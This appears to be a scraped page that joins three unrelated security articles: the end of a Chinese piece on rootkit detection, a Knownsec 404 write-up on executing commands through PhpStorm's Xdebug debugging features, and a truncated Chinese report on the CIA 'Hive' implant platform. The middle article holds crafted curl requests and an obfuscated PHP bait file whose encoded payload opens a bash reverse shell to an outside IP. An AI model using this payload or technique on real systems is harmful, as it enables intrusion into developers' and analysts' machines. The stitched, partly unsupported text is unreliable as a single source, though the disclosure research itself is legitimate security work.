## 检测-这是一场与攻击者的军备竞赛
业界对反Rootkit软件使用的技术进行了分类。 **签名的检测** （Signature-based detection）、 **文件完整性监测**
（File integrity monitoring）、 **Rootkit Hook检测** （Rootkit hooking detection）、
**交叉视图分析** （Cross-view analysis）以及 **基于网络的检测** （Network-based detection）。
基于签名的检测就是 **匹配rootkit软件字节特征**
，缺点是无法匹配新的rootkit，而且特征容易更改，对于已安装rootkit的系统再实施检测不理想。
文件完整性监测，该方法 **计算关键的、不变的操作系统文件的哈希，并将其与存储在数据库中的已知值进行比较。**
这项技术对于在磁盘上修改系统二进制文件的rootkit很有效，但rootkit的作者很快使用hooking或DKOM技术，以此篡改执行结果，使得检测效果不理想。
Rootkit Hook检测， **SSDT、IAT和IDT都有一组用于每个服务或中断的函数指针，它们都在内存中的特定范围内。**
当rootkit修改Hook指向恶意服务或中断例程时，函数指针所指向的位置几乎总是位于特定内存地址范围之外。在这期间还发展了Inline
Hook形式，来规避这些关键表的检测，后来发展了FSD Hook、FSD Inline Hook。
交叉视图分析， **交叉视图分析涉及从“用户”或“API”视图查看系统，并将其与低级视图进行比较**
，交叉视图方法可以检测基于DKOM和系统例程补丁的Rootkit，不能检测基于HOOK的Rootkit。
基于网络的检测，理论上，rootkit可能会试图隐藏其网络通信，以逃避操作系统或用户的检测，但是 **从系统外部还是能看到流量的**
，这方面成了C2隐藏通信和网络检测的较量。
Windows也引进了一些防御技术，PatchGuard和DSE。PatchGuard用于内核完整性检测，守护容易被HOOK的地方。DSE用于检测驱动签名，限制未签名驱动加载。上文提到的Turla则绕过了这种限制，通过引入VulnDriver间接绕过。通过修改内存中的特殊变量就能关闭DSE功能，此时，加载第二个未签名的恶意驱动，直接
**HOOK PatchGuard告警的关键函数** ，在下一个内核完整性校验过程中不让异常表现出来，从而完成了PatchGuard功能的绕过。
## 总结
说了这么多，其实只想说明一个问题，那就是Rootkit技术一直都没有过时，它一直都是攻击者青睐的攻击技术。
**虽然他的热度被各式各样的新型网络威胁所掩盖，但在那些网络攻击的事件中，我们又常常能见到它的影子。**
在我们忙于研究处理其他网络威胁技术的时候，它也在以某种的方式存在，并不断成长着。在安全厂商不断提升己方检测能力的同时，攻击者也在不断提升对抗能力，传统的检测方式不断的承受着一轮又一轮的攻击。
对于高对抗的Rookit技术的检测，对于传统的检测技术是一个很大的挑战，安全厂商还有很多的工作要去完成。
## 参考链接
1 . <https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/>
2.<https://blog.talosintelligence.com/2020/12/vuln-spotlight-NZXT-CAM-.html>
3.<https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit>
4.<https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/>
5.<https://mp.weixin.qq.com/s/a1LgQqmkGFYYq7JQLQKmMQ>
6.《Eset-Turla-Outlook-Backdoor》
7.<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>
8.<https://unit42.paloaltonetworks.com/acidbox-rare-malware/>
* * * | 社区文章 |
**Author: dawu@Knownsec 404 Team**
**Date: August 16, 2018**
**Chinese Version:<https://paper.seebug.org/668/>**
### 0x00 Why Xdebug Caught My Attention
I met a large array `$form` when I was debugging Drupal remote code execution
vulnerability (CVE-2018-7600 & CVE-2018-7602) with PhpStorm.
As a security researcher, I hope to explore vulnerabilities when debugging, so
it’s important to know the content of each element in `$form`. However,
PhpStorm is a debugging tool that requires a lot of clicks to see the value of
each element in the array, which is very inefficient.
I found a solution in the official manual:
However, `Evaluate in Console` seems to be very dangerous, so I deeply studied
the implementation process of this function and successfully executed the
command on `Xdebug` server through `PhpStorm`.
### 0x01 Preparations
#### 1.1 The Working Principles and Potential Attack Surface of Xdebug
There have been articles about its working principle and potential attack
surface:
* [Xdebug: A Tiny Attack Surface](https://paper.seebug.org/397/)
* [利用恶意页面攻击本地Xdebug](https://paper.seebug.org/558/)
Based on the above reference links, the known attack surfaces are:
1. `eval` command: Be able to execute the code.
2. `property_set && property_get` command: Be able to execute the code.
3. `source` command: Be able to read the source code.
4. The local Xdebug server may be attacked by using DNS rebinding technique.
For this paper, the debugging workflow of PhpStorm and Xdebug is as follows:
1. PhpStorm starts debugging monitor, and binds ports 9000, 10137 and 20080 by default to wait for connection.
2. Developers use `XDEBUG_SESSION=PHPSTORM` to access PHP pages. The content of `XDEBUG_SESSION` can be configured, and I set `PHPSTORM`.
3. The Xdebug server is backconnected to port 9000 where PhpStorm monitors.
4. By establishing the connection in step 3, developers can read the source code, set breakpoints, execute code, and so on.
If we can control the command used by PhpStorm during debugging, then the
attack surface 1, 2 and 3 in step 4 will directly threaten the security of
Xdebug server.
#### 1.2 Development of Real-Time Sniffer Script
As an old saying goes like this, a handy tool makes a handy man. I developed a
script to show the traffic that PhpStorm and Xdebug interact with in real time
(this script will appear several times in the screenshot below).
from scapy.all import *
import base64
Terminal_color = {
"DEFAULT": "\033[0m",
"RED": "\033[1;31;40m"
}
def pack_callback(packet):
try:
if packet[TCP].payload.raw_packet_cache != None:
print("*"* 200)
print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport))
print(packet[TCP].payload.raw_packet_cache.decode('utf-8'))
if packet[TCP].payload.raw_packet_cache.startswith(b"eval"):
print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"):
variable = ""
for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "):
if "$" in i:
variable = i
print("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache:
raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8')
CDATA_postion = raw_data.find("CDATA")
try:
eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")])
print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT']))
except:
pass
except Exception as e:
print(e)
print(packet[TCP].payload)
dpkt = sniff(iface="vmnet5",filter="tcp", prn=pack_callback)
### 0x02 Execute Commands on the Xdebug Server via PhpStorm
#### 2.1 Execute Commands via Evaluate in Console
From the script above, it's clear what happens when we execute the `Evaluate
in Console` command (the decoded result of `base64` is in red).
If we can control `$q`, then we can control the content of `eval`, but in the
[official PHP manual](http://php.net/manual/en/language.variables.basics.php
"official PHP manual"), it's clear that variable names should be composed of
`a-za-z_ \x7f-\ XFF`:
> Variable names follow the same rules as other labels in PHP. A valid
> variable name starts with a letter or underscore, followed by any number of
> letters, numbers, or underscores. As a regular expression, it would be
> expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'
So it is not realistic to control the content of `eval` by controlling `$q`.
But when PhpStorm gets an element in the array, it takes the name of that
element into the eval statement.
As shown below, define the array as `$a = ( "aaa'bbb"=>"ccc")`, and use
`Evaluate in Console` in PhpStorm.
You can see that the single quotes are not filtered, which means I can control
the contents of `eval`. In the picture below, I get the value of `$a['aaa']`
by using `Evaluate in Console` on the `$a['aaa\'];#']` variable.
The carefully constructed request and code are as follows:
$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"
<?php
$a = array();
$q = $_GET['q'];
$a['a'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";
echo $a;
?>
But there's an obvious flaw in this example: you can see malicious element
names. If used for phishing attacks, the success rate will be greatly reduced,
so the above code has been modified:
$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"
<?php
$a = array();
$q = $_GET['q'];
$a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";
echo $a;
?>
When the element name is long enough, PhpStorm automatically hides the rest:
#### 2.2 Execute Commands via `Copy Value As`
Further research finds that `COPY VALUE AS (print_r/var_export/json_encode)`
also uses the `eval` command in Xdebug to implement the corresponding
functions:
Having carefully constructed the corresponding request and code, you can
execute the command on the Xdebug server again:
curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"
#### 2.3 Research on Actual Attacks
Based on the above research, I think PhpStorm can be used to implement
phishing attacks, and we suppose that the attack process is as follows:
1. The attacker ensures that the victim can find malicious PHP files. For example, security researchers exchanged information about what the webshell actually implemented, and the operations staff found suspicious PHP files on the server.
2. If the victim decides to use PhpStorm to analyze a PHP file after skimming through its contents.
3. The victim uses `COPY VALUE AS (print_r/var_export/json_encode)`, `Evaluate array in Console`, etc., and the commands will be executed.
4. The attacker can receive the `shell` from the victim's Xdebug server.
The carefully constructed code is as follows (the backconnected IP address is
the temporarily enabled VPS):
<?php
$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]";
$a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode
$b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval
$c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system
$e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK
$f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));#
$g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0];
$i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64
$n = array(
$e => $c,
$f => $i,
$g => $a,
);
$n[$e]($n[$g]($n[$f]));
?>
Executing this PHP code directly will only run `system("echo hello world;")`
multiple times. However, the debugger does not execute PHP code. He might
extract the value of `$n[$f]` and decode the specific content via `echo
XXXXXXXX|base64 -d`.
If he uses `COPY VALUE BY print_r` to copy the corresponding variable, the
command will be executed on his Xdebug server.
In the gif below, on the left is the attacker's terminal, and on the right is
the debugging session of the victim.
PS: A clerical error in the gif, “decise” should be “decide”.
### 0x03 Conclusion
In the whole process of vulnerability discovery, there are some twists and
turns, but it is just the fun of security research. It's a pity that PhpStorm
officials didn't finally acknowledge the vulnerability. The reason why I share
this discovery is to share the thoughts on the one hand; on the other hand,
it’s to remind the security researchers to use the `COPY VALUE AS
(print_r/var_export/json_encode)`, `Evaluate array in Console` functionality
when debugging code by means of PhpStorm with caution.
### 0x04 Timeline
June 8, 2018: `Evaluate in Console` was found to be at risk of executing the
command on the Xdebug server.
June 31, 2018 - July 1, 2018: Try to analyze the problems of `Evaluate in
Console` and find a new exploitation point: `Copy Value`. Even though eval is
a feature provided by Xdebug, PhpStorm does not filter single quotes so that
you can execute commands on the Xdebug server, so I contacted the official via
[email protected].
July 4, 2018: I received an official reply saying that they don't provide
additional access to server's resources within debugging as it's being managed
by Xdebug.
July 6, 2018: Contact the official again to show that the attack can be used
for phishing attacks.
July 6, 2018: The official believed that having the untrusted code at the
server may compromise the server without PhpStorm involved. The Official
agreed with me to disclose the problem.
August 16, 2018: Disclose this issue.
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 美国中央情报局（CIA）“蜂巢”恶意代码攻击控制武器平台分析报告
##### 译文声明
本文是翻译文章，文章原作者 信息安全摘要，文章来源：信息安全摘要
原文地址：<https://www.cverc.org.cn/head/zhaiyao/news20220419-hive.htm>
译文仅供参考，具体内容表达以及含义原文为准。
近日，国家计算机病毒应急处理中心对“蜂巢”（Hive）恶意代码攻击控制武器平台（以下简称“蜂巢平台”）进行了分析，蜂巢平台由美国中央情报局（CIA）数字创新中心（DDI）下属的信息作战中心工程开发组（EDG，以下简称“美中情局工程开发组”）和美国著名军工企业诺斯罗普·格鲁曼（NOC）旗下XETRON公司联合研发，由美国中央情报局（CIA）专用。蜂巢平台属于“轻量化”的网络武器，其战术目的是在目标网络中建立隐蔽立足点，秘密定向投放恶意代码程序，利用该平台对多种恶意代码程序进行后台控制，为后续持续投送“重型”武器网络攻击创造条件。美国中央情报局（CIA）运用该武器平台根据攻击目标特征定制适配多种操作系统的恶意代码程序，对受害单位信息系统的边界路由器和内部主机实施攻击入侵，植入各类木马、后门，实现远程控制，对全球范围内的信息系统实施无差别网络攻击。
## 一、技术分析
### （一）攻击目标
为满足美国中央情报局（CIA）针对多平台目标的攻击需求，研发单位针对不同CPU架构和操作系统分别开发了功能相近的蜂巢平台适配版本。根据目前掌握的情况，蜂巢平台可支持ARMv7、x86、PowerPC和MIPS等主流CPU架构，覆盖Windows、Unix、Linux、Solaris等通用操作系统，以及RouterOS（一种由MikroTik公司开发的网络设备专用操作系统）等专用操作系统。
### （二）系统构成
蜂巢平台采用C/S架构，主要由主控端（hclient）、远程控制平台（cutthroat，译为：“割喉”）、生成器（hive-patcher）、受控端程序（hived）等部分组成。为了掩护相关网络间谍行动，美中情局工程开发组还专门研发了一套名为“蜂房”（honeycomb）的管理系统，配合多层跳板服务器实现对大量遭受蜂巢平台感染的受害主机的远程隐蔽控制和数据归集。
### （三）攻击场景复现
国家计算机病毒应急处理中心深入分析蜂巢平台样本的技术细节，结合公开渠道获得的相关资料，基本完成了对蜂巢平台典型攻击场景的复现。
1、利用生成器（hive-patcher）生成定制化的受控端恶意代码程序
美国中央情报局（CIA）攻击人员首先根据任务需求和目标平台特点，使用生成器（hive-patcher）生成待植入的定制化受控端恶意代码程序（即hived）。在生成受控端程序前，可以根据实际任务需求进行参数配置（如表1所示）。
美国中央情报局（CIA）攻击人员完成上述参数配置后，生成器（hive-patcher）可生成新的受控端植入体（如图1所示）。
值得注意的是，从攻击目标类型上看，美国中央情报局（CIA）特别关注MikroTik系列网络设备。MikroTik公司的网络路由器等设备在全球范围内具有较高流行度，特别是其自研的RouterOS操作系统，被很多第三方路由器厂商所采用，美国中央情报局（CIA）对这种操作系统的攻击能力带来的潜在风险难以估量。
2、将服务器端恶意代码程序植入目标系统
美国中央情报局（CIA）特别开发了一个名为“Chimay-Red”的MikroTik路由器漏洞利用工具，并编制了详细的使用说明。该漏洞利用工具利用存在于MikroTikRouterOS
6.38.4及以下版本操作系统中的栈冲突远程代码执行漏洞，实现对目标系统的远程控制。漏洞利用工具的使用说明如表2。
据美国政府内部人士公开披露，美国中央情报局（CIA）和美国国家安全局（NSA）同属美国国防部，他们在对外网络战行动中经常相互配合，美国国家安全局的特定入侵行动办公室拥（TAO）拥有“酸狐狸”（FoxAcid）等漏洞攻击武器平台和系统化网络攻击工具，可以高效支援美国中央情报局（CIA）的间谍软件植入行动。
3、唤醒服务器端恶意代码程序并进行命令控制
服务器端恶意代码程序被植入目标系统并正常运行后，会处于静默潜伏状态，实时监听受控信息系统网络通讯流量中具有触发器特征的数据包，等待被
“唤醒”。美国中央情报局（CIA）攻击人员可以使用客户端向服务器端发送“暗语”，以“唤醒”潜伏的恶意代码程序并执行相关指令。美国中央情报局（CIA）攻击人员利用名为“cutthroat（割喉）”的控制台程序对客户端进行操控。其主要命令参数如表3所示。
主控端与被控端建立连接后，可以执行相应控制命令（如图2所示）。
为躲避入侵检测，主控端通过发送“暗语”唤醒受控端恶意代码程序，随后模仿HTTP over
TLS建立加密通信信道，以迷惑网络监测人员、规避技术监测手段（如图3所示）。
至此，主控端实现了对受控端恶意代码程序的完全控制，可以在隐蔽状态下随时投送其他恶意负载，或开展后续渗透窃密行动。
### （四）掩护措施
为进一步提高网络间谍行动的隐蔽性，美国中央情报局（CIA）在全球范围内精心部署了蜂巢平台相关网络基础设施。从已经监测到的数据分析，美国中央情报局（CIA）在主控端和被控端之间设置了多层跳板服务器和VPN通道，这些服务器广泛分布于加拿大、法国、德国、马来西亚和土耳其等国，有效隐藏自身行踪，受害者即使发现遭受蜂巢平台的网络攻击，也极难进行技术分析和追踪溯源。
## 二、运作方式
基于维基解密公开揭露的美国中央情报局（CIA）内部资料，结合国家计算机病毒应急处理中心的技术分析成果，可以清晰了解蜂巢平台的运作方式如下：
### （一）开发过程及开发者
蜂巢平台由美国中央情报局（CIA）工程开发组（EDG）牵头研发完成，项目周期至少从2010年10月持续到2015年10月，软件版本至少为2.9.1，并且至少从2011年开始就支持对MikroTik系统设备及相关操作系统的远程攻击。参与开发人员包括但不限于：Mike
Russell、Jack McMahon、Jeremy Haas和Brian Timmons等人（如图4所示）。
另外，蜂巢平台项目还融入了合作机构的研发成果，其中包括美国著名军工企业诺斯罗普·格鲁曼（Northrop
Grumman）公司旗下的XETRON公司编写的项目代码（如图5所示）。
XETRON公司成立于1972年，1986年被美国西屋电气集团收购，1996年与西屋电气一并被美国诺斯罗普·格鲁曼公司收购，总部现位于美国俄亥俄州辛辛那提市郊区，公开信息显示，在2013年其拥有6.8万名员工。XETRON长期以来一直是美国中央情报局（CIA）的承包商，其产品范围包括军用传感器、通信系统和网络安全软件等。据维基解密揭露的资料，XETRON公司除参与蜂巢平台项目外，还向美国中央情报局（CIA）提供了入侵思科（Cisco）路由器的工具“Cinnamon”。另据诺斯罗普·格鲁曼公司描述，XETRON致力于为政府客户的行动提供技术支持，并且专注于“计算机网络行动”，优势技术包括：加密、入侵检测、逆向工程和渗透攻击。XETRON长期以来一直从辛辛那提大学和戴顿大学招录网络安全人才。
### （二）蜂巢平台网络基础设施
在“蜂房”（honeycomb）中的脚本中，研究人员发现了一批曾经被美国中央情报局（CIA）用于控制蜂巢平台受控端恶意代码程序的服务器IP地址（如表4所示）。服务器所在地区覆盖欧洲、美洲和亚洲（如图6所示）。
## 三、总结
上述分析表明，美国中央情报局（CIA）对他国发动网络黑客攻击的武器系统已经实现体系化、规模化、无痕化和人工智能化。其中，蜂巢平台作为CIA攻击武器中的“先锋官”和“突击队”，承担了突破目标防线的重要职能，其广泛的适应性和强大的突防能力向全球互联网用户发出了重大警告。
（一）美国中央情报局（CIA）拥有强大而完备的网络攻击武器库
蜂巢平台作为美国中央情报局（CIA）的主战网络武器装备之一，其强大的系统功能、先进的设计理念和超前的作战思想充分体现了CIA在网络攻击领域的突出能力。其网络武器涵盖远程扫描、漏洞利用、隐蔽植入、嗅探窃密、文件提取、内网渗透、系统破坏等网络攻击活动的全链条，具备统一指挥操控能力，已基本实现人工智能化。美国中央情报局（CIA）依托蜂巢平台建立的覆盖全球互联网的间谍情报系统，正在对世界各地的高价值目标和社会名流实施无差别的网络监听。
（二）美国中央情报局（CIA）对全球范围的高价值目标实施无差别的攻击控制和通讯窃密
